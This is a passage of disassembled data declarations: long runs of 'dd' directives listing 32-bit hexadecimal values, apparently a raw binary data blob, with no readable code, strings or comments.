		dd 52A53558h, 0C065A89Eh, 0EE2548BCh, 1E0F74CCh, 27E83D0h
		dd 63062B34h, 20695F05h, 790B3724h, 0AD1C40FCh,	0E161D5Dh
		dd 0D4A89Ch, 0E123A66Ah, 1ABD492Ah, 719B600h, 736E52BEh
		dd 8C433ED9h, 14B02301h, 2316A118h, 6E760FC0h, 2F49A08Fh
		dd 2D203F5Dh, 9C44C7F0h, 5912C007h, 0FF87FB8Eh,	802A885h
		dd 0D9302724h, 9B510E74h, 0AA80CDCBh, 4CFCF41Fh, 12013FE4h
		dd 0C6AC6FF5h, 3034683Eh, 0FDD007Bh, 1EBF89AFh,	813F48FFh
		dd 7525847h, 0BA0703F7h, 16600EC9h, 98605CB1h, 35E7FE0h
		dd 15CE66A9h, 0C2C74BE2h, 0E869C9EEh, 18406A0Dh, 6F575AD8h
		dd 3F78FA28h, 18D88C61h, 0AA09043Fh, 0D8598122h, 0E102AE00h
		dd 0A550ACh, 0D48ED0B9h, 857C749h, 0AE975400h, 260A07A6h
		dd 0C895A3h
		dd 0E495818Bh, 989701C4h, 0A1676587h, 0AFD05007h, 77006B61h
		dd 0E179C119h, 9ECEF0F4h, 0DFAA40D8h, 0F378571Dh, 42C2E1F5h
		dd 6C51F808h, 2358803Dh, 895272Bh, 16D97891h, 1CEE22Ch
		dd 4F8F2AFAh, 26C7217h,	1650980Fh, 0BF088710h, 3168B7C0h
		dd 0C8BE38B9h, 1CEA0F7Bh, 49C0BAFEh, 361D05B0h,	4E0C31C0h
		dd 5F96A9DBh, 0F3B81341h, 9DAA167Ch, 50E20825h,	0A3D3CF00h
		dd 30639AD9h, 0DDC13C1Fh, 45801A00h, 2F9936F7h,	0A84237A8h
		dd 0E8840809h, 16ACAC56h, 2EDD7h, 0E666BFB8h, 5D8000DCh
		dd 0B4C96E63h, 7F289637h, 7BF60845h, 0C8CF7E4Eh, 0A0BBC112h
		dd 99881214h, 233B8C6h,	0C11FC03Bh, 0C0DAA0B9h,	32BEA200h
		dd 0B11DF814h, 0AB0A3A09h, 8A210077h, 0BE44B52Bh, 6122848h
		dd 0BCC80E12h, 23E83A08h, 0D80AFD80h, 7BE7704Ch, 6D2F3Bh
		dd 0C033CB9Fh, 65EFAF3Fh, 0BC20085Dh, 2A04809Ch, 0CC9993h
		dd 0ABF26876h, 0EA20213Dh, 0C6C33Ah, 0BFC2FD35h, 9DB8DF6Fh
		dd 3F80E830h, 9D8EDB04h, 98ADF7BCh, 9B00D458h, 0D8DD0A62h
		dd 0E30B3916h, 5E5743Dh, 0A8ACCDCCh, 0A4A9B789h, 0ECDCD0C2h
		dd 0A16170h, 4FA32183h,	5B4D560Dh, 8025AC94h, 90F4EAA4h
		dd 7DD90017h, 16FDA5Eh,	1C48832Dh, 0F04FC00Ch, 4C59A5h
		dd 0F9B522C0h, 8846BF11h, 4EB0E495h, 665CC303h,	0D61F7614h
		dd 0BF060454h, 9CC295A2h, 10947EFAh, 82EC054Ch,	0B0850769h
		dd 0C58FE4F8h, 2BD9A680h, 52382F81h, 74250018h,	628304FFh
		dd 1FA31401h, 0CC5B30D2h, 0C0B02250h, 0ECC8555Bh, 90060615h
		dd 0BCC9B1DDh, 46056200h, 8A3DE5CEh, 0A2344A92h, 0F1808904h
		dd 7B950DD8h, 805017B8h, 3C35E6D6h, 0EB26A400h,	0EEBFA7BAh
		dd 3D880A36h, 224C68Fh,	2145D82h, 63995CE0h, 0F756DD04h
		dd 0C885D659h, 9B0138B2h, 0B1AA5F39h, 0AE5DF0A4h, 0D725491Dh
		dd 0E7936282h, 8556612Bh, 57A1E83Ch, 277B3065h,	1C8C094Fh
		dd 7AF822BEh, 3B872500h, 8EB3D45Ch, 43CA2599h, 70EF8844h
		dd 65040E36h, 0CE6B8130h, 1E119080h, 0AF85257Ah, 0C499FC44h
		dd 1FE0F360h, 0E6F51C89h, 1F805790h, 7A7D62B0h,	9C903899h
		dd 3E402EB2h, 6201C9F7h, 39E654F9h, 3031CAACh, 20CE20DCh
		dd 9F26378Eh, 0E200ACD9h, 0BEF0B378h, 0A001521Dh, 62F95100h
		dd 674C6E7Bh, 17502912h, 0BE0B4CE2h, 0BC635657h, 21204AE8h
		dd 38800D4Bh, 0F27ECA40h, 0C1F738C0h, 62085C4Eh, 0CE500F00h
		dd 0F6D2C2EAh, 53CD015Bh, 1274A54Dh, 2F870C3h, 66812E00h
		dd 1152283Bh, 0BD89003Ch, 9DC7E550h, 9A00D09Ch,	35DD58FEh
		dd 120EEB6Fh, 4880B9h, 38F4AEC3h, 534B5990h, 0D94C1820h
		dd 0E4770004h, 0B2F3F212h, 59054A54h, 0DF517B57h, 7DF9E486h
		dd 0D0600001h, 248FB5E3h, 0B20F1453h, 1CDC22Bh,	76BDBB9Dh
		dd 76480E8h, 829512DFh,	80FEC4CFh, 1B31A1A0h, 0B3095300h
		dd 0E54D0C91h, 2DE0398Fh, 28685F00h, 8EC5AA21h,	9D6E8CFh
		dd 956448A9h, 454FEB2h,	9652A05Ah, 0B8B7C0F2h, 0C2EA6FF9h
		dd 15199C00h, 23D12048h, 45F8023Dh, 0F91FCA61h,	0AA090882h
		dd 0BCE4148Bh, 0A5F9803h, 92EF7FA1h, 94905D25h,	334B8990h
		dd 4E1DE4E4h, 0B84C4EF9h, 0AF58CBE4h, 6886001h,	10352423h
		dd 5038FFF5h, 9C6F2588h, 0C8F85C22h, 88BB0516h,	82881B00h
		dd 78E600AAh, 0CAE38EC2h, 5D0026E8h, 0D250961Ah, 48F192A9h
		dd 8F04E8BAh, 0BE1177A7h, 0FF6A8862h, 6573B140h, 0D502E275h
		dd 27D36104h, 4090FE81h, 2971CDC1h, 322674B8h, 0B6004C80h
		dd 2E19D74Bh, 0E11C3C4Ch, 3FA63980h, 1D56539Eh,	0FADD14Ch
		dd 6991CF76h, 57DC0E0Ch, 405EE8E2h, 2248CA4Ch, 810269F6h
		dd 827A9057h, 3B2044E3h, 8B80CE62h, 6DE838EEh, 0D4A0896Ah
		dd 0E4045CD1h, 857B5F78h, 0DFF428BEh, 79905326h, 49C38901h
		dd 0DC74CB65h, 55E70F8Ah, 0E8F27B6Dh, 0D064A33Ch, 27D280AEh
		dd 88C8A83Ch, 0D800605Bh, 5F71EB5h, 1905FE9h, 0CF682C8h
		dd 0EC304794h, 0BE008FB7h, 65D9BDCEh, 6BFCA4Dh,	2074C5DAh
		dd 5D0080F1h, 88300ABEh, 1C096D58h, 803F60A7h, 86FE5F5Bh
		dd 17026880h, 8F91E010h, 527F60C1h, 10C981Eh, 4F39CE8h
		dd 2356982Fh, 649A0000h, 0B22282D3h, 9727B71h, 7784AFE5h
		dd 89F57400h, 20024945h, 3B3A65F9h, 14D12559h, 14417408h
		dd 8298FD5h, 0A47F7A0Eh, 99CD896h, 0E979AE02h, 757BFF57h
		dd 328FC411h, 1E40DDC0h, 3C943BCh, 0CFF41299h, 218CB9B8h
		dd 0B27B1219h, 0B1E850B8h, 981E1F24h, 0CB868C50h, 0A890A131h
		dd 0CE00FD2Eh, 72286049h, 9E213Eh, 15D26799h, 0E0F9A695h
		dd 0AC335824h, 69041011h, 8276FA29h, 0A05E14A8h, 1F1B2EE0h
		dd 0E2B100B0h, 0EEA5679h, 0EF04463Bh, 6DF85AA8h, 0ECA4ECC3h
		dd 0ECB82480h, 471913CAh, 0AB2C0054h, 1F955EC9h, 2DE6A013h
		dd 0BAAC88h, 68639F8Ch,	0E957CCBEh, 51C29500h, 8899C4EEh
		dd 1D8FA41h, 2E088E9Fh,	840F2206h, 20DD0CB1h, 8AB405AEh
		dd 3EE8E274h, 0F888DF6Bh, 8A963E0Fh, 4F956980h,	88B6C0EEh
		dd 60D872CEh, 0B530F89Eh, 1C6490EDh, 75C92F3h, 0E090F6C2h
		dd 0E5011EBCh, 6977E012h, 8B12D448h, 7C44D7C0h,	4102C571h
		dd 0EC2F885h, 0BACD4136h, 0E0C427D0h, 0B4D7582h, 0D8A71FEBh
		dd 310A2098h, 3C966700h, 6D9A51E1h, 45E602C4h, 8030546h
		dd 77522DE0h, 987FC0Eh,	908B431h, 5129019Fh, 0A16F00ECh
		dd 0D7FFF0D6h, 31EDEF00h, 0EEE49F27h, 8EB8B9C8h, 54215BC2h
		dd 0A0D18753h, 0F64F0860h, 86F0C020h, 91C79A4h,	3705759Dh
		dd 88AC6476h, 0C42F6809h, 16E0007Ch, 24A06D2Ah,	7C00C550h
		dd 95CD04B7h, 2B0A8AFh,	20DEDD36h, 7858EB25h, 51340700h
		dd 7A617216h, 23CB07CFh, 807F15E8h, 990FF6BCh, 59575327h
		dd 56B589CCh, 11F0C086h, 0C0222EE1h, 5034D492h,	3E3C9686h
		dd 0B8EF8037h, 70E36ACBh, 12050090h, 0EE2028D5h, 7F2DA697h
		dd 0C694115Dh, 8A632C00h, 7A348206h, 14E9B07Ch,	347791AAh
		dd 69000922h, 0C6466675h, 194A7802h, 380BC58Bh,	0F48214A4h
		dd 0A08743CBh, 947E23CEh, 0FE03E1A0h, 242B6E04h, 9EFE0208h
		dd 900208A4h, 466FF54Dh, 7EEB1DFCh, 5007F848h, 0C0D62F5Eh
		dd 3FED282Dh, 0D27A9B00h, 4D328D56h, 0B9A498F8h, 2F601078h
		dd 85B440EDh, 2857899Fh, 0C7EF10DCh, 0F7CB8880h, 98A2C591h
		dd 7442DCE2h, 0CC3CC416h, 0A1F60051h, 31080441h, 0FDF71311h
		dd 2124F0D7h, 7D0410B7h, 0A4614CCCh, 52EADD00h,	3EC1532Ah
		dd 0EC763816h, 0E0D8A30Ah, 1F288039h, 0FD54FE20h, 0CD632EBFh
		dd 48E84028h, 4F008C6Bh, 9FC8560Fh, 0A8909Dh, 0E6D71E83h
		dd 8615F80h, 6032BF2h, 9077AEB0h, 0D826E1A0h, 8F20813Ah
		dd 181E1588h, 0E0481064h, 6F409C02h, 0B5D46C28h, 0E6171890h
		dd 0C11DFE72h, 0D9401F57h, 281EC7EEh, 66532F6Bh, 79C6A8E0h
		dd 689D1500h, 760E7435h, 203E00AAh, 9B6981D3h, 0A90060C9h
		dd 7B3507FBh, 5F8896h, 8E25153h, 588B9FCBh, 0FA201E12h
		dd 7842581Dh, 60D6C309h, 0F81FF181h, 0A5BA09FBh, 5870894Eh
		dd 89E38F3Bh, 0D1380474h, 0C0761D3Ch, 17CF3AA8h, 0DC00942Fh
		dd 99AF27E9h, 1556FAAh,	399D5E0Ah, 2A451078h, 60110CCBh
		dd 0C6842DD9h, 1F9018C4h, 0F44DC006h, 4350EC97h, 0B8205F5Ch
		dd 1334125h, 4FD4D721h,	2B2C05F5h, 69F428h, 5878D084h
		dd 9A4925C5h, 96B0352Dh
		dd 9F8C9824h, 0B0A75092h, 85A27561h, 0C2B032F0h, 88136B04h
		dd 88003AF8h, 3D15FE22h, 19C8261h, 37348FFh, 24432FB4h
		dd 1D886EE0h, 7E3CA2FCh, 0BC291234h, 83D2B1C0h,	65805EAh
		dd 78744180h, 0AE087009h, 0C1E40788h, 0F0B440ABh, 56B20099h
		dd 448DF21Fh, 292D4E26h, 132091BEh, 0FF061D10h,	924098B7h
		dd 0FE8C90B4h, 0F9270BACh, 0CD3E4FEh, 66EFB802h, 880880CAh
		dd 0F2896E4Fh, 9704FF7h, 0D0E4D0B4h, 80F3963Dh,	0FB44C67Fh
		dd 3E2551Ah, 40192488h,	0FEE8C317h, 0A94F2808h,	0BBB6EC90h
		dd 65610089h, 0D68594F7h, 5004DA97h, 156C1796h,	5600F4E2h
		dd 8D5C594Ah, 830FEB05h, 0E73B77C2h, 0F8C00FAAh, 4E7D7B6Fh
		dd 8B6824B3h, 20E40034h, 838DAEFh, 2BD0B7A1h, 14D15F2Ch
		dd 88A1124Eh, 11650810h, 0F75B2E6Dh, 0A8121278h, 3269A0A8h
		dd 55BB00C3h, 682DBDECh, 982EA509h, 56C5F06Fh, 0C017E0D9h
		dd 6FF64E61h, 203F9E21h, 630DE70h, 0DC2D2B29h, 79183538h
		dd 70084A2h, 0BAD757FAh, 940085ABh, 62B11A76h, 0ACF244h
		dd 0E69018CFh, 0A8CB1E1Bh, 421FF4Ah, 7008109h, 0A915D94Eh
		dd 4E946492h, 9026ECB7h, 0AD10020h, 0AE49BF65h,	6A317498h
		dd 8FD9989h, 0F031AF14h, 1C682970h, 0C47CC8D2h,	66B7531Fh
		dd 0D1BF6D01h, 5A61A3E7h, 125AFDC0h, 0C560EC99h, 8098FC9Ch
		dd 3329437Ch, 1AB2382Ch, 6CF00F0h, 0D83114AAh, 0B600CA2Dh
		dd 0F4174F9Ah, 385553Eh, 0AEDD3B0Fh, 82C08967h,	253A081Ch
		dd 49A30183h, 867A39FBh, 0F7125C63h, 128C5F15h,	2768CA80h
		dd 920C4F6h, 2A3492B6h,	60098DAh, 7B21D01Ah, 0B5297F87h
		dd 97545810h, 0F27AA500h, 2527DFE4h, 6D79006Ch,	0B7D8DBBEh
		dd 0CCA69361h, 0B59960BCh, 8C2E2E60h, 0F9531D38h, 0CA8C77B4h
		dd 4B183091h, 0F856D4E0h, 3680C89Eh, 9D2E2B6Fh,	124D004Eh
		dd 713DA5E6h, 0A300BC09h, 171ED705h, 5F5B0F9Fh,	0ED800BBFh
		dd 550C7CBCh, 6182F8BEh, 31F90229h, 2ACD2FA0h, 0B1867463h
		dd 1F475911h, 0DC165707h, 4A63D2A4h, 5A35A4C0h,	0CBF25D00h
		dd 2824A15Ch, 266DEE4Eh, 6088BE09h, 9A7E83D5h, 0B52B3407h
		dd 0DC398D47h, 5D7689D0h, 0D202C898h, 0F38F8E00h, 6774B024h
		dd 3F11007Ah, 2F348375h, 1B788228h, 0F4C20F9h, 0D2767DFEh
		dd 8C6C9Dh, 0EF277716h,	0EE6C1FAFh, 2A0EDE01h, 945E0F0Bh
		dd 4730E822h, 0B73D9F39h, 0FEE8A97Fh, 24E4834Eh, 0D3C02EBEh
		dd 2ACF0040h, 898D4349h, 0CDF1D814h, 0B8610008h, 79370CF9h
		dd 68631DACh, 7CD6011Dh, 0C03BF140h, 5E771744h,	6EAE3Ch
		dd 0AB2373E1h, 0F6C088h, 477F9037h, 94D0551Bh, 5232030Ah
		dd 97074C15h, 76059AAh,	39EDB92Ah, 3D0744C1h, 11A1C711h
		dd 0E0C0C60Eh, 70003815h, 57BE307Ah, 220D11Eh, 91697689h
		dd 387A2605h, 0D7097000h, 420CDE03h, 29692EF1h,	0BF3F0358h
		dd 8275FEFh, 0BF49020h,	25060439h, 0E88DF312h, 20C88FDCh
		dd 0C28E4315h, 78CB037Ch, 0D784D039h, 325E19E8h, 0C9407C96h
		dd 22FAC7h, 4E63EFDDh, 47303C76h, 6FF94B02h, 40ECB7DFh
		dd 915C7FB4h, 3E24AC54h, 0A2E8804Fh, 82F0FB6Ah,	0B0906C24h
		dd 0A0327070h, 98CEF6D4h, 16CA607h, 2A3FAA27h, 2FA6CFEAh
		dd 0D3A8E820h, 0BF8902C8h, 5803EDFFh, 20D9C41h,	0EC2255F7h
		dd 0BC137892h, 1A002CF9h, 0D50A4BE8h, 7A0B2268h, 0C228BD37h
		dd 0D4147754h, 956C8054h, 4F04735Ch, 0D100C4F3h, 2243338Ah
		dd 6302DA4Fh, 7997278Bh, 285AC03Dh, 1DF91420h, 1F1D28FBh
		dd 57CBF16h, 7FA497F4h,	0C49C3363h, 0E83C8DF1h,	34108AF0h
		dd 9507E556h, 0A5E624A7h, 8000ECB5h, 5B3527Dh, 78C50172h
		dd 0DEC4A830h, 49460B1h, 41DC7C8Ah, 60D0ACE0h, 0E517C1DCh
		dd 7C8A619Bh, 0F04E9017h, 9C00722Ch, 0EC5A3E0Bh, 1112CAh
		dd 0B3083281h, 2AEA4A14h, 6DFA2000h, 880C15E9h,	1EF45ED2h
		dd 0A4298000h, 79C6AA1Fh, 1D240614h, 0AC8893F4h, 849A001Bh
		dd 6ADB487Ah, 7E21F8Ch,	1E1206E2h, 0C0ED8875h, 992EB498h
		dd 6DA22A00h, 4CE6765Ch, 4BF8005Ah, 92C0594Eh, 0CCEFCEF0h
		dd 613F88B5h, 0BE0F13B2h, 594CA001h, 9C38D71Ah,	9BDCF680h
		dd 490E0E03h, 5738792Eh, 0EA050024h, 0CCE4A82Fh, 0CF9F0091h
		dd 142B1682h, 23022E8Bh, 58C4183Dh, 0F7D3825Dh,	0D825D5BEh
		dd 0F5E4E886h, 8BD5D100h, 30FC26h, 0BB0E62B7h, 7116A80h
		dd 3836A502h, 71A958A8h, 805C2860h, 3D3AF128h, 7596945Fh
		dd 6F2F0668h, 54A32920h, 27768A00h, 56141B2h, 4C409F83h
		dd 73137EADh, 80ADF7F2h, 9B8F5782h, 40302C51h, 0D87ACCh
		dd 63808527h, 0A95B0C70h, 64C48F03h, 0E138A67Fh, 13702853h
		dd 0AC0524E6h, 50200060h, 948FE0C9h, 3B9DC338h,	6B47936Dh
		dd 0A871F218h, 6A003FEh, 0E3633A74h, 0D2C7D8D8h, 7DB44505h
		dd 74C04A34h, 12902D88h, 0CA6029h, 137593Ch, 0AB040956h
		dd 18FE68D0h, 446FD200h, 1D806022h, 690B6002h, 7B68F221h
		dd 28CD884Bh, 664202Bh,	91973020h, 0E0170950h, 8A16D155h
		dd 3AD78E07h, 0A0048C2Eh, 0C30050B9h, 3C16B32Dh, 0AD00FC9Ch
		dd 0FE08C002h, 0B22E6F8Bh, 0C78F0238h, 813AD30Fh, 2BDFC461h
		dd 31D0CC1h, 2C48844Dh,	7E200048h, 0BA475107h, 3B00B242h
		dd 33734677h, 97A63F4Bh, 9969A098h, 617F8200h, 6BE367C3h
		dd 9E1E4B3h, 28333486h,	12443866h, 1EE5B80Ch, 587AB75Fh
		dd 0FC1F799Dh, 0EF388A73h, 0F5508497h, 20EBA168h, 0E25DCCB8h
		dd 1E04549h, 0D21D5B21h, 222ABFD6h, 0A6192640h,	4647E09h
		dd 0E4167D80h, 1F09F6B8h, 1703AC2h, 8D9A00Eh, 100844AAh
		dd 0B34F14FCh, 945B74F8h, 84835C88h, 0D8CEF12Eh, 0F416924Eh
		dd 0C8824409h, 1AFA256Ch, 116AA828h, 443ED85Eh,	0DF3F0081h
		dd 0C9B0C108h, 0BF0958CDh, 0C42B4A78h, 8AC5029Ch, 7B6957E8h
		dd 78281975h, 0E0EC3C45h, 8085681Eh, 0DD7B3797h, 6301141Fh
		dd 50C7A359h, 6033BE58h, 80A04A00h, 62FE3319h, 9E008570h
		dd 0F9F2E7DDh, 481D1FB4h, 0BA3B54A1h, 0C9B4204Fh, 52EE6430h
		dd 0C8C4E500h, 0AF1736A4h, 0E1D50026h, 28C19987h, 98B52A1Fh
		dd 248BC948h, 3C942923h, 7285DD80h, 0A064803Eh,	88516909h
		dd 35A80052h, 5E70C6Eh,	0B82DDF7Fh, 0F89413BEh,	482B8860h
		dd 22801FB0h, 0D190AA25h, 8F4A014h, 7AD2F5FDh, 5D54A901h
		dd 51487EBh, 4D11F08h, 0A8AB8C14h, 22F0D03Ch, 91AA24A6h
		dd 2479C924h, 0C0244BBCh, 0D396FBC0h, 0D41A07BFh, 9E4DD13Ah
		dd 0D9D881A3h, 0F5CBAFB0h, 0CDAA3B0Bh, 82C8C58Eh, 59B591C4h
		dd 1C411004h, 0C474A39Dh, 0A238CE68h, 0F46CB0A7h, 4E1F51B7h
		dd 1A0488B9h, 0D2502084h, 16A44520h, 5DBD2890h,	64444064h
		dd 2934AAB6h, 99F0B90Bh, 3707B7Bh, 904A7127h, 8FBF54B0h
		dd 0F16AA00Ah, 5F0EBC58h, 0AAE12433h, 80138A5h,	1440C88Fh
		dd 0FDF1F21h, 17181EBAh, 0CAED2002h, 601778D2h,	34A225D0h
		dd 0F10CA018h, 9B0E395Fh, 0C0D2C89Ch, 9641CBC5h, 7B8E072Eh
		dd 4E0FF484h, 8470BC04h, 1182000Ah, 58D591A3h, 0AE0007E4h
		dd 598F10B6h, 2C90B192h, 64B4BE6Ah, 0AAA680ADh,	38043D5Eh
		dd 210635C7h, 4682C88h,	57C65129h, 8074EC2Ch, 8B2867F6h
		dd 0CA1D045Ch, 0C1B9BFD9h, 733B6F64h, 0E75F0120h, 0F3F648D4h
		dd 0E7B9A1F4h, 4A05E060h, 0AB2C251Fh, 8CE48017h, 7863111Ch
		dd 0FFA00E9Eh, 76F749FDh
		dd 0D016B70h, 0F8ADC9EEh, 4A1CFB21h, 691699C5h,	94804CA8h
		dd 2B603228h, 0DECBC300h, 91573EB7h, 7A3011Bh, 206CBFFAh
		dd 0DC0C6E9Bh, 15B71DCh, 0FA293203h, 0D0122C7Ch, 25012AC8h
		dd 0B95821FBh, 986370F9h, 7B803000h, 2D3D44C7h,	57D36F00h
		dd 7C77E604h, 2906B0E4h, 2F092A9h, 8458021h, 6EBD3CC9h
		dd 7822FC40h, 757AE295h, 336F3E6Eh, 0C28F4189h,	49437044h
		dd 0CCBC4B20h, 80E30824h, 0FF2C846h, 7CCD038Ah,	2943AB72h
		dd 4C30BAE4h, 7027DD5Bh, 0FBAA2603h, 0AC86081Ch, 75495CAEh
		dd 0C3775483h, 0DDF97DA0h, 0F615AE03h, 0EAC5FE6Dh, 0ACB0D60Ch
		dd 0F2161260h, 8A9D7934h, 0CC248CD0h, 0C4CA6662h, 0CB3FE160h
		dd 4F8F0068h, 8936F813h, 50C19D49h, 177FC5F7h, 0C8D466C0h
		dd 7E8A02E4h, 2905DE68h, 8797A45Ah, 534F5CA8h, 24407840h
		dd 61782Bh, 0E8CDF1BAh,	82DAB19h, 81A89E00h, 0F520305Eh
		dd 550C07D0h, 119DC962h, 0F045B205h, 1202D4FDh,	0BA88258Eh
		dd 0E44A0F9h, 141CFE7h,	1D62D590h, 74D9291Fh, 3429B2D0h
		dd 6225DCCDh, 0BA840424h, 3818BF4Bh, 0E0002B7Fh, 958278F3h
		dd 1464C36h, 0AAE44FB6h, 0E9D56672h, 20E6811Fh,	0FCFF61EFh
		dd 0F56C4B3Ah, 4985889h, 0C880F21h, 0F809B7DEh,	98ACC99h
		dd 268DB420h, 39785A1Fh, 0B9CC80DBh, 5491C7EFh,	5CBF0800h
		dd 5A2EAF57h, 424F1A0h,	0C0E4EC08h, 0FF81F573h,	11E0D3h
		dd 5A18E5BCh, 0A01C6F38h, 76323300h, 3F69350Bh,	6A050120h
		dd 962970Dh, 872D20A6h,	0D500237Ch, 118F13B1h, 9C7B35h
		dd 9009C68Ah, 61802DE5h, 261CEC0Bh, 4424DAE0h, 2D7E3621h
		dd 449DD600h, 0F5D4A250h, 224D009Eh, 90A77C4Bh,	4B586C3h
		dd 8530930h, 29441298h,	0E207BCB2h, 201B23D2h, 0F0998B4Fh
		dd 7FA19706h, 7B311460h, 0BECA48Fh, 2B34927Eh, 940460D0h
		dd 22465A1Eh, 2F68F0A0h, 90C4C105h, 13218544h, 0F81C7FFCh
		dd 80158B9Ch, 9A801AC8h, 554498D1h, 0E002E47Eh,	0AC002982h
		dd 3D52C46h, 0BF4CC002h, 5A192305h, 0D21480C0h,	3B080176h
		dd 4C72FCA8h, 895801C6h, 1F37F181h, 442FEE26h, 0A090B884h
		dd 733CF5EFh, 9B1F19B0h, 108790DAh, 244D7657h, 83C83B6h
		dd 8A249F59h, 0CCFA2D3Ch, 0F42201C0h, 7C7A0D88h, 0CDC2ACDh
		dd 3F300082h, 0A37B2CBAh, 0C40280F9h, 438DD2B6h, 0FA4F0E7h
		dd 3CFEA479h, 409A48C7h, 0B105CB98h, 6203E07h, 2D3742BCh
		dd 0FF8B001h, 0BD9F8AFCh, 9300CC66h, 1B1E81D2h,	9706D665h
		dd 0C00D6411h, 0A090D967h, 5C08FF28h, 89E31F0Ah, 281F901Eh
		dd 31CFEC7h, 80DC7369h,	0BCD87E8Fh, 5E002B18h, 43868C50h
		dd 5B5A81A6h, 0FF9484D7h, 9E80D828h, 40524920h,	508C0C5Eh
		dd 1E61D218h, 305656D0h, 90F72D64h, 0D8595500h,	928DFBF9h
		dd 89D904F8h, 0AF475EFEh, 4A65453h, 0C8D78F12h,	0B200618Ch
		dd 50A570B1h, 9448BB2Dh, 28A4C8D0h, 11054294h, 0F77C1629h
		dd 448429A0h, 9150AA68h, 5138B20h, 20C92427h, 0ED0A3C00h
		dd 0A55A3A3Ch, 0E3F32089h, 0D51668F6h, 37F8CA0h, 8069BABCh
		dd 0F90FA40h, 9015EA1h,	8650DAAFh, 0FEC827FFh, 4C49DECh
		dd 0F7B9B21h, 0AC971A1Fh, 0F0C85AFFh, 0C8394EA1h, 7025CA28h
		dd 954858BEh, 53EDBCA7h, 70CF91CEh, 0C5B0D010h,	0F087C30Bh
		dd 45C4504Fh, 89F464A4h, 84221F00h, 286F718Bh, 0D5263921h
		dd 5F367881h, 0A4558A29h, 79304178h, 4ED803BFh,	674CC0ACh
		dd 149C6F1Bh, 64555A40h, 0C0F20153h, 0FEF0DB1Ch, 0DCB6E8DFh
		dd 74342E00h, 4CEB5F3Eh, 85F30360h, 43874B80h, 3163EDE8h
		dd 0E8A2544Ah, 9B132900h, 0FDA97EBDh, 962B650Eh, 0F990C95Ch
		dd 46A34034h, 3707BDDDh, 0B59C29Eh, 0B903A610h,	0B29B5E25h
		dd 517F2D04h, 7B9460D4h, 4271D67h, 4424C416h, 5498030Fh
		dd 0C4576424h, 895E4360h, 9C1FE7Ah, 13882820h, 0C4A5CF2h
		dd 1D8224CBh, 0B8DF09FEh, 73BAF400h, 94312EA3h,	5E0C20F5h
		dd 0ACA226h, 7653C190h,	9AC0EE8Bh, 0B51D40C8h, 0C064BE58h
		dd 4116D8FEh, 52973B18h, 2C01A5BFh, 8729F217h, 0BFBEE404h
		dd 0A8C74C26h, 2D88DA08h, 24005444h, 5038F0D0h,	5A01E39h
		dd 6E088FD3h, 0C090AC8Ch, 2536C7C2h, 50ED00B9h,	6CC9579Bh
		dd 395E6F0Eh, 2F78B49Ah, 8C6E7B9Ah, 0C3979600h,	0CB912092h
		dd 12512621h, 0C0A20B6Ch, 94A03C16h, 7FFA2117h,	0B4B34C1Ch
		dd 86FAA81h, 0E830CEBAh, 0B8A34009h, 8C915A5Eh,	8028966h
		dd 3C9C7CF4h, 7E7A2420h, 20936410h, 0CF5CF490h,	2C11F950h
		dd 3E445856h, 86CF7040h, 444A469Ah, 1F00BCF2h, 0AD746F20h
		dd 0F70FBD88h, 6028CAC5h, 6640D9Ch, 411E6023h, 0AA847A03h
		dd 0AE80D091h, 9336A31h, 0B2150B1Fh, 60112083h,	887C3C4Dh
		dd 6050A479h, 7F090A3Bh, 0C2C73919h, 87A9A7Eh, 91A5D9E8h
		dd 0FEEC99F4h, 0E79617C4h, 3DD4AD4Eh, 0F71E82A5h, 61087132h
		dd 0CE091C9Ch, 20F8C864h, 0A42C89DFh, 459E709h,	0B84221A4h
		dd 0D890C9EDh, 0F405AA08h, 0A0052455h, 840A4BCh, 2E112925h
		dd 0E226819Ch, 0D01BCFEDh, 0A00B6DBh, 0C05021BAh, 3CB0D262h
		dd 5B2CFF26h, 1D7265Bh,	1F9690BEh, 0D83247h, 9189C08Ah
		dd 746C440h, 0E9B6E002h, 62170D9h, 0D400248Dh, 0D21D221Ch
		dd 246FF5B7h, 1908614Ch, 3B8BB144h, 68347C99h, 9E3A0029h
		dd 70A4C8E7h, 8812C6B6h, 64E8F8B1h, 589EA282h, 4725E4EEh
		dd 808C9081h, 0F7FC2549h, 430ED8D9h, 83ADE4E3h,	27CC29EAh
		dd 54F24E30h, 75174C00h, 0FD35E0FCh, 22E30600h,	6B429997h
		dd 2DE41C98h, 0FCEDC06Ah, 6FA4FB93h, 58C6B7h, 0BE1A6965h
		dd 0EA3A25C7h, 0BC3D170Eh, 0B69EE0AEh, 7DFBDEFh, 27E159BAh
		dd 28E7B021h, 9A60A953h, 202E1041h, 249499C7h, 0B8816E44h
		dd 2C32085Dh, 38ACB9F8h, 96BA600Ch, 9A07BE0Eh, 0EB638869h
		dd 7586BDD0h, 0BF420716h, 4B5A3270h, 9301D4E4h,	3CC551A2h
		dd 0C460C9B4h, 0A1F94AAFh, 0D060D4D4h, 0B2AB4C0Eh, 34E30009h
		dd 0F65983h, 0FD05333Bh, 6480288Dh, 88AC5D09h, 391C44A0h
		dd 47A403D5h, 932804BCh, 6409FEACh, 4624508Bh, 80204A2Fh
		dd 3793BCDh, 0EE20232Dh, 5AE89463h, 490FB38Ah, 0B4D225DBh
		dd 0C13969BBh, 537E173Ch, 118CB95Ch, 902F8894h,	590090D1h
		dd 1DF1C654h, 5A9732Bh,	53CC9B37h, 2530E08Ah, 28031642h
		dd 296DEF20h, 0BE1E1822h, 0CDA54064h, 3A032F1Dh, 88652156h
		dd 20F9AC64h, 0A4E11F80h, 6F00C020h, 6CB67732h,	2F5FE6A5h
		dd 987884F6h, 7C9AA204h, 11008969h, 3B82DD43h, 9F13A13Dh
		dd 51AD9045h, 0D0B50098h, 8668D916h, 7C004B78h,	72C489ADh
		dd 229667Ah, 1B83C722h,	4DC5B97h, 0AC85FB10h, 0C3708C0Bh
		dd 50AB591Ch, 9C175CC1h, 3EE5A6CEh, 19520DCh, 0B0565D71h
		dd 4002273Bh, 194E63FCh, 8E76673Fh, 0E0928FFAh,	8077C196h
		dd 6C060161h, 0AA05893Fh, 0E073E17Fh, 28DDBABEh, 12089584h
		dd 8262DD00h, 55FA0F24h, 0C099A97Fh, 0D4595D60h, 0F06D045Ah
		dd 0B2D77163h, 0A1A2F3BCh, 8B3A837Ah, 63A441D8h, 0ACCA4B90h
		dd 4B73FC05h, 1817EF1Bh, 251AACA0h, 0CCA09FD8h,	0E7AFFE61h
		dd 50A2604Eh, 83C5F60Bh, 8D85C981h, 3E1821DEh, 0AE08DC20h
		dd 33EC4Bh, 3A26900Ch, 44EF6D3h, 98F4F500h, 783989D4h
